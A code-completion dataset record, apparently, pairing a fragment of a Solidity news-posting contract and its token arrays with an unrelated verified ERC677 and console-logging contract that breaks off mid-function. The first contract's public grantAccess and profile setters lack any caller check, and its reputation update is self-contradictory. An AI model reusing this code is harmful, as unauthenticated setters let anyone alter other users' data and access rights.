this.addVotedPosts(wallet, ipfsHash, true); votedPost memory v = votedPost(id, false); votedPostId[wallet].push(v); return 0; } return 1; } // to grant access to user to a specfic post function grantAccess(string memory ipfsHash, address account) public{ postToAccess[ipfsHash][account] =true; } function checkAccess(string memory ipfsHash, address account) public view returns (bool){ if (postToAccess[ipfsHash][account] == true){ return true; } return false; } function getUsername(address account) public view returns (bytes32){ return userProfile[account]; } function setUsername(address account, bytes32 newName) public{ userProfile[account] = newName; } function getBio(address account) public view returns (bytes32){ return userBio[account]; } function setBio(address account, bytes32 newBio) public{ userBio[account] = newBio; } function setProfile(address account, bytes32 newBio, bytes32 newName) public{ userBio[account] = newBio; userProfile[account] = newName; } function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) { uint8 i = 0; while(i < 32 && _bytes32[i] != 0) { i++; } bytes memory bytesArray = new bytes(i); for (i = 0; i < 32 && _bytes32[i] != 0; i++) { bytesArray[i] = _bytes32[i]; } return string(bytesArray); } }
user_repu: userReputation[msg.sender]
function sendUpdate(string memory ipfsHash, string memory location, string memory time, string memory imageHash, string memory category, string memory tag, string memory extension) public { newsList.push(newsUpdate({ user:msg.sender, username: this.bytes32ToString(userProfile[msg.sender]), bio: this.bytes32ToString(userBio[msg.sender]), timeStamp:time, location:location, fileHash: ipfsHash, imageHash: imageHash, category: category, extension: extension, post_repu: 0, id: newsList.length, tag: tag })); postToAccess[ipfsHash][msg.sender] =true; if (userReputation[msg.sender] != 0x0){ userReputation[msg.sender]+=10; userReputation[msg.sender]=10; } }
13,104,198
[ 1, 1355, 67, 266, 11938, 30, 729, 426, 458, 367, 63, 3576, 18, 15330, 65, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1366, 1891, 12, 1080, 3778, 2359, 2556, 2310, 16, 533, 3778, 2117, 16, 533, 3778, 813, 16, 203, 1377, 533, 3778, 1316, 2310, 16, 533, 3778, 3150, 16, 533, 3778, 1047, 16, 533, 3778, 2710, 13, 1071, 288, 203, 203, 3639, 14783, 682, 18, 6206, 12, 18443, 1891, 12590, 203, 5411, 729, 30, 3576, 18, 15330, 16, 203, 5411, 2718, 30, 333, 18, 3890, 1578, 5808, 12, 1355, 4029, 63, 3576, 18, 15330, 65, 3631, 203, 5411, 25091, 30, 333, 18, 3890, 1578, 5808, 12, 1355, 38, 1594, 63, 3576, 18, 15330, 65, 3631, 203, 5411, 18198, 30, 957, 16, 203, 5411, 2117, 30, 3562, 16, 203, 5411, 585, 2310, 30, 2359, 2556, 2310, 16, 203, 5411, 1316, 2310, 30, 1316, 2310, 16, 203, 5411, 3150, 30, 3150, 16, 203, 5411, 2710, 30, 2710, 16, 203, 5411, 1603, 67, 266, 11938, 30, 374, 16, 203, 5411, 612, 30, 14783, 682, 18, 2469, 16, 203, 5411, 1047, 30, 1047, 203, 3639, 289, 10019, 203, 3639, 1603, 774, 1862, 63, 625, 2556, 2310, 6362, 3576, 18, 15330, 65, 273, 3767, 31, 203, 3639, 309, 261, 1355, 426, 458, 367, 63, 3576, 18, 15330, 65, 480, 374, 92, 20, 15329, 203, 5411, 729, 426, 458, 367, 63, 3576, 18, 15330, 3737, 33, 2163, 31, 203, 5411, 729, 426, 458, 367, 63, 3576, 18, 15330, 65, 33, 2163, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-12-06 */ pragma solidity 0.6.12; abstract contract ERC677Receiver { function onTokenTransfer(address _sender, uint _value, bytes memory _data) virtual public; } abstract contract ERC677 { function transfer(address to, uint256 value) public virtual returns (bool); function transferAndCall(address to, uint value, bytes memory data) public virtual returns (bool success); // event Transfer(address indexed from, address indexed to, uint value, bytes data); } /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } /* MIT License Copyright (c) 2018 requestnetwork Copyright (c) 2018 Fragments, Inc. Copyright (c) 2020 NotBase, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * @title SafeMathInt * @dev Math operations for int256 with overflow safety checks. */ library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } } /** * @title Various utilities useful for uint256. */ library UInt256Lib { uint256 private constant MAX_INT256 = ~(uint256(1) << 255); /** * @dev Safely converts a uint256 to an int256. */ function toInt256Safe(uint256 a) internal pure returns (int256) { require(a <= MAX_INT256); return int256(a); } } // SPDX-License-Identifier: MIT library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logByte(byte p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(byte)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { 